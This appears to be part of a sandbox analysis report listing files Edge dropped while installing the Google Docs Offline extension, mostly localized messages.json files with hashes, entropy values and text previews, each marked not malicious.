SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
